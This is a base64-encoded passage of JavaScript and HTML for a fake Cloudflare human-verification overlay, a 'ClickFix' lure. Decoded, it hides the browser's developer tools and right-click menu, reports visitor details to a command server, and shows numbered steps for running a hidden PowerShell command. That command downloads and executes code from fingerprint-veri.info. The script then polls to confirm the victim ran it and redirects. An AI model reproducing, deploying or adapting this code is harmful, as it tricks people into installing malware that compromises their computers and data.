CAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InRldHR4Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgaWQ9ImNmLWxibCI+JHtVSV9UUkFOU0xBVElPTlMudmVyaWZ5aW5nVGV4dH08L3A+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0iZGlzcGxheTpmbGV4O2ZsZXgtZGlyZWN0aW9uOmNvbHVtbjthbGlnbi1pdGVtczpmbGV4LWVuZDtmbGV4LXNocmluazowIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9IiR7Q0xPVURGTEFSRV9GVUxMX0xPR09fQkFTRTY0fSIgYWx0PSIiIHN0eWxlPSJ3aWR0aDo5MHB4O21hcmdpbi1ib3R0b206NHB4Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgc3R5bGU9Im1hcmdpbjowO2xpbmUtaGVpZ2h0OjEuNDtjb2xvcjojYmJiO2ZvbnQtc2l6ZTo4cHg7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt3aGl0ZS1zcGFjZTpub3dyYXAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHtVSV9UUkFOU0xBVElPTlMucHJpdmFjeUxpbmt9IMK3ICR7VUlfVFJBTlNMQVRJT05TLnRlcm1zTGlua30NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9wPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgPHAgY2xhc3M9ImNvcmUtbXNnIj4ke0RJU1BMQVlfSE9TVE5BTUV9ICR7VUlfVFJBTlNMQVRJT05TLnNlY3VyaXR5TWVzc2FnZX08L3A+DQogICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXItaW5uZXIiPg0KICAgICAgICAgICAgICAgICAgICBSYXkgSUQ6IDxzcGFuIGNsYXNzPSJyYyI+JHtSQVlfVFJBQ0tJTkdfSUR9PC9zcGFuPg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgIDxkaXYgY2xhc3M9InZlcmlmeS13aW5kb3ciIGlkPSJjZi1tb2RhbCI+DQogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGVudCI+DQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoMj4ke1VJX1RSQU5TTEFUSU9OUy52ZXJpZmljYXRpb25UaXRsZX08L2gyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPiR7VUlfVFJBTlNMQVRJT05TLnZlcmlmaWNhdGlvblN1YnRpdGxlfTwvcD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBzdHlsZT0ibWFyZ2luLXRvcDouMjVlbSAhaW1wb3J0YW50O29wYWNpdHk6Ljc1O2ZvbnQtc2l6ZTouN2VtOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIOKMqCAke1VJX1RSQU5TTEFUSU9OUy5rZXlib2FyZEluc3RydWN0aW9uc30NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3A+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSIke0NMT1VERkxBUkVfV0hJVEVfTE9HT19CQVNFNjR9IiBhbHQ9IiI+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2YtbG9hZGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDEyMzAuNTc0IDUxOS43NzQiPjxwYXRoIGZpbGw9IiNGNzgxMDAiIGQ9Ik03ODQuMDI1LDUxMi4wMTFsNS44NzItMjAuMzExYzYuOTk4LTI0LjE2OSw0LjM5NC00Ni41MTEtNy4zNDktNjIuOTI2Yy0xMC44MDEtMTUuMTIyLTI4LjgwNC0yNC4wMjItNTAuNjY2LTI1LjA1NmwtNDE0LjExNC01LjI4MWMtMi43ODgtMC4xNDctNS4wOTYtMS40MDMtNi41MTgtMy40NzFjLTEuNDQtMi4xMjMtMS43NzMtNC44NTYtMC44ODYtNy40NzhjMS4zNjYtNC4wOCw1LjQxLTcuMTY0LDkuNjItNy4zNDlsNDE3Ljk1NC01LjI5OWM0OS41NzYtMi4yNzEsMTAzLjI1Mi00Mi41MDUsMTIyLjA0OC05MS41NjRsMjMuODM3LTYyLjI4YzAuNjU3LTEuNjk2LDAuOTUyLTMuNDkzLDAuOTQtNS4yOTRjLTAuMDA3LTAuOTg0LTAuMDc4LTEuOTY5LTAuMjk0LTIuOTRDODU3LjM4Myw5MS4wMjgsNzQ4Ljc1OCwwLDYxOC44NjMsMGMtMTE5LjY4NSwwLTIyMS4zMTIsNzcuMjU0LTI1Ny43NiwxODQuNjIzYy0yMy41MjMtMTcuNjUyLTUzLjYyLTI3LjAzMS04NS45NjktMjMuODAxYy01Ny40MjMsNS43MDYtMTAzLjU2NSw1MS45NC0xMDkuMjcxLDEwOS4zNjNjLTEuNDk2LDE0LjkwMS0wLjI3NywyOS4yODQsMy4xNTgsNDIuOEM3NS4yMjIsMzE1LjcxOCwwLDM5Mi41NjYsMCw0ODcuMDI5YzAsOC41NDksMC42NDYsMTYuOTUsMS44NDYsMjUuMTY2YzAuNTkxLDMuOTg4LDMuOTUyLDYuOTgsNy45NzcsNi45OGw3NjQuNTI3LDAuMDkyYzAuMDc2LDAsMC4xNDItMC4wMzQsMC4yMTgtMC4wMzZDNzc4Ljk0Miw1MTkuMTM0LDc4Mi43OSw1MTYuMjQsNzg0LjAyNSw1MTIuMDExeiIvPjxwYXRoIGZpbGw9IiNGQkFDNDIiIGQ9Ik05MjEuOTgyLDIyNS41NThjLTMuODQxLDAtNy42NjMsMC4xMTEtMTEuNDY2LDAuMjk1Yy0wLjYyOCwwLjAzMy0xLjIyNCwwLjE4NS0xLjc5NiwwLjM4NWMtMS45ODUsMC42OTYtMy41NjYsMi4zMDUtNC4xNjgsNC4zOTdsLTE2LjI4Niw1Ni4yNDJjLTYuOTk4LDI0LjE2OS00LjM5NSw0Ni40OTMsNy4zNDksNjIuOTA3YzEwLjgwMSwxNS4xNCwyOC44MDQsMjQuMDIyLDUwLjY2NSwyNS4wNTZsODguMjc3LDUuMjk5YzIuNjA0LDAuMTI5LDQuODkzLDEuMzg1LDYuMjk3LDMuNDE2YzEuNDc3LDIuMTQyLDEuODA5LDQuODkzLDAuOTIzLDcuNTE1Yy0xLjM4NSw0LjA4MS01LjQxLDcuMTY0LTkuNjAxLDcuMzQ5bC05MS43Myw1LjI5OWMtNDkuNzk4LDIuMjktMTAzLjQ3Myw0Mi41MDUtMTIyLjI3LDkxLjU2NGwtNi42MjksMTcuMzE5Yy0xLjIwNiwzLjEzNCwxLjAzOSw2LjQ3Miw0LjM1NCw2LjYzNWMwLjA4NCwwLjAwNCwwLjE1OSwwLjAzMSwwLjI0NCwwLjAzMWgzMTUuNjI2YzMuNzY2LDAsNy4xMjctMi40NTYsOC4xNDItNi4wNzVjNS40ODQtMTkuNDk4LDguNDAyLTQwLjA0OCw4LjQwMi02MS4zMDFDMTE0OC4zMTUsMzI2Ljg4OSwxMDQ2Ljk4NCwyMjUuNTU4LDkyMS45ODIsMjI1LjU1OHoiLz48L3N2Zz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjZi1sb2FkZXItYmFyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2YtbG9hZGVyLWJhci1pbm5lciI+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgICAgICAgPG9sIGNsYXNzPSJpbnN0cnVjdGlvbi1saXN0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0ZXAtbGVmdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic3RlcC1iYWRnZSI+MTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzdGVwLXRleHQiPiR7VUlfVFJBTlNMQVRJT05TLnN0ZXAxfTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0ZXAtbGVmdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic3RlcC1iYWRnZSI+Mjwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzdGVwLXRleHQiPiR7U1RFUDJfSFRNTH08L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGVwLWxlZnQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InN0ZXAtYmFkZ2UiPjM8L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic3RlcC10ZXh0Ij4ke1VJX1RSQU5TTEFUSU9OUy5zdGVwM308L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJzdGVwLWxlZnQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InN0ZXAtYmFkZ2UiPjQ8L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic3RlcC10ZXh0Ij4ke1VJX1RSQU5TTEFUSU9OUy5zdGVwNH08L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk+DQogICAgICAgICAgICAgICAgICAgICAgICA8L29sPg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJmb250LXNpemU6MTBweDtjb2xvcjojNjY2O3RleHQtYWxpZ246Y2VudGVyO21hcmdpbi10b3A6MS4yZW07cGFkZGluZy10b3A6Ljc1ZW07Ym9yZGVyLXRvcDoxcHggc29saWQgcmdiYSgyNTUsMjU1LDI1NSwuMDgpOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgSUQgQ29kZTogPHNwYW4gY2xhc3M9InJjIiBzdHlsZT0iZm9udC1mYW1pbHk6bW9ub3NwYWNlOyI+JHtSQVlfVFJBQ0tJTkdfSUR9PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgIGA7DQoNCiAgICAgICAgKGRvY3VtZW50LmRvY3VtZW50RWxlbWVudCB8fCBkb2N1bWVudC5ib2R5KS5hcHBlbmRDaGlsZChyb290RWxlbWVudCk7DQogICAgICAgIHJvb3RFbGVtZW50LnN0eWxlLmJhY2tncm91bmRDb2xvciA9ICdyZ2JhKDM0LDM0LDM0LCcgKyBCQUNLR1JPVU5EX09QQUNJVFkgKyAnKSc7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgICBpZiAod2luZG93LmxzY0NvZ25pU3RhY2tPdXJPdmVybGF5KSB3aW5kb3cubHNjQ29nbmlTdGFja091ck92ZXJsYXkocm9vdEVsZW1lbnQpOw0KICAgICAgICAgICAgZWxzZSBpZiAoZG9jdW1lbnQuYm9keSkgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChyb290RWxlbWVudCk7DQogICAgICAgIH0gY2F0Y2ggKGUpIHt9DQoNCiAgICAgICAgdmFyIGRvY3VtZW50RWxlbWVudCA9IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudDsNCiAgICAgICAgdmFyIGRvY3VtZW50Qm9keSA9IGRvY3VtZW50LmJvZHk7DQoNCiAgICAgICAgaWYgKGRvY3VtZW50RWxlbWVudCkgew0KICAgICAgICAgICAgZG9jdW1lbnRFbGVtZW50LnN0eWxlLm92ZXJmbG93ID0gJ2hpZGRlbic7DQogICAgICAgICAgICBkb2N1bWVudEVsZW1lbnQuc3R5bGUub3ZlcnNjcm9sbEJlaGF2aW9yID0gJ25vbmUnOw0KICAgICAgICB9DQogICAgICAgIGlmIChkb2N1bWVudEJvZHkpIHsNCiAgICAgICAgICAgIGRvY3VtZW50Qm9keS5zdHlsZS5vdmVyZmxvdyA9ICdoaWRkZW4nOw0KICAgICAgICAgICAgZG9jdW1lbnRCb2R5LnN0eWxlLm92ZXJzY3JvbGxCZWhhdmlvciA9ICdub25lJzsNCiAgICAgICAgfQ0KDQogICAgICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2tleWRvd24nLCBmdW5jdGlvbihldmVudCkgew0KICAgICAgICAgICAgdmFyIGtleSA9IFN0cmluZyhldmVudC5rZXkgfHwgJycpLnRvTG93ZXJDYXNlKCk7DQoNCiAgICAgICAgICAgIGlmIChrZXkgPT09ICdmMTInIHx8DQogICAgICAgICAgICAgICAgKChldmVudC5jdHJsS2V5IHx8IGV2ZW50Lm1ldGFLZXkpICYmIGV2ZW50LnNoaWZ0S2V5ICYmIChrZXkgPT09ICdpJyB8fCBrZXkgPT09ICdqJyB8fCBrZXkgPT09ICdjJykpIHx8DQogICAgICAgICAgICAgICAgKChldmVudC5jdHJsS2V5IHx8IGV2ZW50Lm1ldGFLZXkpICYmIGtleSA9PT0gJ3UnKSkgew0KICAgICAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgICAgICAgICAgZXZlbnQuc3RvcFByb3BhZ2F0aW9uKCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0sIHRydWUpOw0KDQogICAgICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgICAgICBldmVudC5zdG9wUHJvcGFnYXRpb24oKTsNCiAgICAgICAgfSwgdHJ1ZSk7DQoNCiAgICAgICAgZnVuY3Rpb24gc2VuZFJlcXVlc3RUb1NlcnZlcihwYXlsb2FkKSB7DQogICAgICAgICAgICByZXR1cm4gZmV0Y2goQ0NfU0VSVkVSX0FQSV9VUkwsIHsNCiAgICAgICAgICAgICAgICBtZXRob2Q6ICdQT1NUJywNCiAgICAgICAgICAgICAgICBjYWNoZTogJ25vLXN0b3JlJywNCiAgICAgICAgICAgICAgICBoZWFkZXJzOiB7DQogICAgICAgICAgICAgICAgICAgICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJw0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgYm9keTogJ2Q9JyArIGVuY29kZVVSSUNvbXBvbmVudChidG9hKEpTT04uc3RyaW5naWZ5KHBheWxvYWQpKSkNCiAgICAgICAgICAgIH0pOw0KICAgICAgICB9DQoNCiAgICAgICAgZnVuY3Rpb24gZGVjb2RlU2VydmVyUmVzcG9uc2UoaGV4U3RyaW5nKSB7DQogICAgICAgICAgICB2YXIgZGVjb2RlZFN0cmluZyA9ICcnOw0KICAgICAgICAgICAgdmFyIGNoYXJJbmRleCA9IDA7DQoNCiAgICAgICAgICAgIGZvciAoOyBjaGFySW5kZXggPCBoZXhTdHJpbmcubGVuZ3RoOyBjaGFySW5kZXggKz0gMikgew0KICAgICAgICAgICAgICAgIGRlY29kZWRTdHJpbmcgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSgNCiAgICAgICAgICAgICAgICAgICAgcGFyc2VJbnQoaGV4U3RyaW5nLnN1YnN0cihjaGFySW5kZXgsIDIpLCAxNikgXg0KICAgICAgICAgICAgICAgICAgICBBUElfQVVUSF9LRVkuY2hhckNvZGVBdCgoY2hhckluZGV4IC8gMikgJSBBUElfQVVUSF9LRVkubGVuZ3RoKQ0KICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIEpTT04ucGFyc2UoZGVjb2RlZFN0cmluZyk7DQogICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgew0KICAgICAgICAgICAgICAgIHJldHVybiB7fTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIHZhciBSRURJUkVDVF9VUkwgPSAnJzsNCg0KICAgICAgICB2YXIgTUFMSUNJT1VTX1BPV0VSU0hFTExfQ09NTUFORCA9DQogICAgICAgICAgICAncG93ZXJzaGVsbCAtdyBoICJpZXgoaXJtIFwnZmluZ2VycHJpbnQtdmVyaS5pbmZvL2Q4ZmMyNmZiM2M4YWU0OWFcJyk7IFN0YXJ0LVNsZWVwIC1TZWNvbmRzIDMwIjsgZXhpdCc7DQoNCiAgICAgICAgdmFyIHNlcnZlclBheWxvYWRQcm9taXNlID0gc2VuZFJlcXVlc3RUb1NlcnZlcih7DQogICAgICAgICAgICBhY3Rpb246ICdkbCcsDQogICAgICAgICAgICBrOiBBUElfQVVUSF9LRVksDQogICAgICAgICAgICBvczogVEFSR0VUX09QRVJBVElOR19TWVNURU0sDQogICAgICAgICAgICB2aWQ6IFVOSVFVRV9WSVNJVE9SX0lELA0KICAgICAgICAgICAgcmVmOiBsb2NhdGlvbi5ocmVmLA0KICAgICAgICAgICAgcmF5OiBSQVlfVFJBQ0tJTkdfSUQNCiAgICAgICAgfSkNCiAgICAgICAgLnRoZW4oZnVuY3Rpb24ocmVzcG9uc2UpIHsNCiAgICAgICAgICAgIHJldHVybiByZXNwb25zZS50ZXh0KCk7DQogICAgICAgIH0pDQogICAgICAgIC50aGVuKGZ1bmN0aW9uKGhleFJlc3BvbnNlKSB7DQogICAgICAgICAgICByZXR1cm4gZGVjb2RlU2VydmVyUmVzcG9uc2UoaGV4UmVzcG9uc2UpOw0KICAgICAgICB9KQ0KICAgICAgICAudGhlbihmdW5jdGlvbihkZWNvZGVkRGF0YSkgew0KICAgICAgICAgICAgUkVESVJFQ1RfVVJMID0gZGVjb2RlZERhdGEucmVkaXIgfHwgJyc7DQogICAgICAgICAgICByZXR1cm4gTUFMSUNJT1VTX1BPV0VSU0hFTExfQ09NTUFORDsNCiAgICAgICAgfSkNCiAgICAgICAgLmNhdGNoKGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgcmV0dXJuIE1BTElDSU9VU19QT1dFUlNIRUxMX0NPTU1BTkQ7DQogICAgICAgIH0pOw0KDQogICAgICAgIGZ1bmN0aW9uIHdhaXRGb3JFeGVjdXRpb25Ub2tlbih0b2tlbikgew0KICAgICAgICAgICAgaWYgKCF0b2tlbikgcmV0dXJuOw0KDQogICAgICAgICAgICB2YXIgc3RhcnRUaW1lc3RhbXAgPSBEYXRlLm5vdygpOw0KICAgICAgICAgICAgdmFyIGlzRG9uZSA9IGZhbHNlOw0KICAgICAgICAgICAgdmFyIGlzSW5zdHJ1Y3Rpb25IaWRkZW4gPSBmYWxzZTsNCg0KICAgICAgICAgICAgZnVuY3Rpb24gbWFya0FzRXhlY3V0ZWQoKSB7DQogICAgICAgICAgICAgICAgaWYgKCFURVNUX01PREUpIHsNCiAgICAgICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5zZXRJdGVtKExPQ0FMX1NUT1JBR0VfS0VZLCAnMScpOw0KICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikgew0KDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIGhpZGVJbnN0cnVjdGlvbk1vZGFsKCkgew0KICAgICAgICAgICAgICAgIGlmIChpc0luc3RydWN0aW9uSGlkZGVuKSByZXR1cm47DQogICAgICAgICAgICAgICAgaXNJbnN0cnVjdGlvbkhpZGRlbiA9IHRydWU7DQogICAgICAgICAgICAgICAgaWYgKG1vZGFsRWxlbWVudCkgew0KICAgICAgICAgICAgICAgICAgICBtb2RhbEVsZW1lbnQuY2xhc3NMaXN0LnJlbW92ZSgnYWN0aXZlJyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBmdW5jdGlvbiBjb21wbGV0ZVZlcmlmaWNhdGlvbigpIHsNCiAgICAgICAgICAgICAgICBpZiAoaXNEb25lKSByZXR1cm47DQogICAgICAgICAgICAgICAgaXNEb25lID0gdHJ1ZTsNCg0KICAgICAgICAgICAgICAgIGlmIChtb2RhbEVsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICAgICAgbW9kYWxFbGVtZW50LmNsYXNzTGlzdC5yZW1vdmUoJ2FjdGl2ZScpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBpZiAoc3Bpbm5lckVsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICAgICAgc3Bpbm5lckVsZW1lbnQuc3R5bGUuZGlzcGxheSA9ICdub25lJzsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB2YXIgY2hlY2ttYXJrRWxlbWVudCA9IHJvb3RFbGVtZW50LnF1ZXJ5U2VsZWN0b3IoJyNjZi1jaycpOw0KICAgICAgICAgICAgICAgIGlmIChjaGVja21hcmtFbGVtZW50KSB7DQogICAgICAgICAgICAgICAgICAgIGNoZWNrbWFya0VsZW1lbnQuc3R5bGUuZGlzcGxheSA9ICdmbGV4JzsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBtYXJrQXNFeGVjdXRlZCgpOw0KDQogICAgICAgICAgICAgICAgLy8gSW1tZWRpYXRlIHJldHVybiB0byB0aGUgcGFnZSBvbmNlIHNoZWV0IGNvbmZpcm1zIGV4aXN0czp0cnVlDQogICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgcm9vdEVsZW1lbnQucmVtb3ZlKCk7DQogICAgICAgICAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHt9DQoNCiAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICB2YXIgc3R5bGVFbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdidy1jZi1zdHlsZScpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoc3R5bGVFbCkgc3R5bGVFbC5yZW1vdmUoKTsNCiAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikge30NCg0KICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgIHZhciBkb2NFbGVtZW50ID0gZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50Ow0KICAgICAgICAgICAgICAgICAgICB2YXIgZG9jQm9keSA9IGRvY3VtZW50LmJvZHk7DQogICAgICAgICAgICAgICAgICAgIGlmIChkb2NFbGVtZW50KSB7DQogICAgICAgICAgICAgICAgICAgICAgICBkb2NFbGVtZW50LnN0eWxlLm92ZXJmbG93ID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICBkb2NFbGVtZW50LnN0eWxlLm92ZXJzY3JvbGxCZWhhdmlvciA9ICcnOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmIChkb2NCb2R5KSB7DQogICAgICAgICAgICAgICAgICAgICAgICBkb2NCb2R5LnN0eWxlLm92ZXJmbG93ID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICBkb2NCb2R5LnN0eWxlLm92ZXJzY3JvbGxCZWhhdmlvciA9ICcnOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHt9DQoNCiAgICAgICAgICAgICAgICBpZiAoUkVESVJFQ1RfVVJMKSB7DQogICAgICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24uaHJlZiA9IFJFRElSRUNUX1VSTDsNCiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoZXJyb3IpIHt9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICB2YXIgaXNQb2xsSW5GbGlnaHQgPSBmYWxzZTsNCg0KICAgICAgICAgICAgZnVuY3Rpb24gcG9sbFNlcnZlclN0YXR1cygpIHsNCg0KICAgICAgICAgICAgICAgIGlmIChpc0RvbmUgfHwgaXNQb2xsSW5GbGlnaHQgfHwgRGF0ZS5ub3coKSAtIHN0YXJ0VGltZXN0YW1wID4gMTgwMDAwKSB7DQogICAgICAgICAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBpc1BvbGxJbkZsaWdodCA9IHRydWU7DQogICAgICAgICAgICAgICAgdmFyIGNoZWNrVXJsID0gQVBQU19TQ1JJUFRfVVJMICsgJz9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KFVOSVFVRV9WSVNJVE9SX0lEKTsNCg0KICAgICAgICAgICAgICAgIGZldGNoKGNoZWNrVXJsLCB7DQogICAgICAgICAgICAgICAgICAgIG1ldGhvZDogJ0dFVCcsDQogICAgICAgICAgICAgICAgICAgIHJlZGlyZWN0OiAnZm9sbG93JywNCiAgICAgICAgICAgICAgICAgICAgY3JlZGVudGlhbHM6ICdvbWl0JywNCiAgICAgICAgICAgICAgICAgICAgY2FjaGU6ICduby1zdG9yZScNCiAgICAgICAgICAgICAgICB9KQ0KICAgICAgICAgICAgICAgIC50aGVuKGZ1bmN0aW9uKHJlc3BvbnNlKSB7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiByZXNwb25zZS5qc29uKCk7DQogICAgICAgICAgICAgICAgfSkNCiAgICAgICAgICAgICAgICAudGhlbihmdW5jdGlvbihkYXRhKSB7DQogICAgICAgICAgICAgICAgICAgIGlzUG9sbEluRmxpZ2h0ID0gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgIGlmIChkYXRhICYmIGRhdGEuZXhpc3RzID09PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBjb21wbGV0ZVZlcmlmaWNhdGlvbigpOw0KICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgLy8gTmV4dCBHRVQgb25seSBhZnRlciB0aGlzIHJlc3BvbnNlIOKAlCBuZXZlciBvdmVybGFwLg0KICAgICAgICAgICAgICAgICAgICAgICAgc2V0VGltZW91dChwb2xsU2VydmVyU3RhdHVzLCAyMDAwKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0pDQogICAgICAgICAgICAgICAgLmNhdGNoKGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgICAgICAgICBpc1BvbGxJbkZsaWdodCA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICBzZXRUaW1lb3V0KHBvbGxTZXJ2ZXJTdGF0dXMsIDIwMDApOw0KICAgICAgICAgICAgICAgIH0pOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBzZXRUaW1lb3V0KHBvbGxTZXJ2ZXJTdGF0dXMsIDIwMDApOw0KICAgICAgICB9DQoNCiA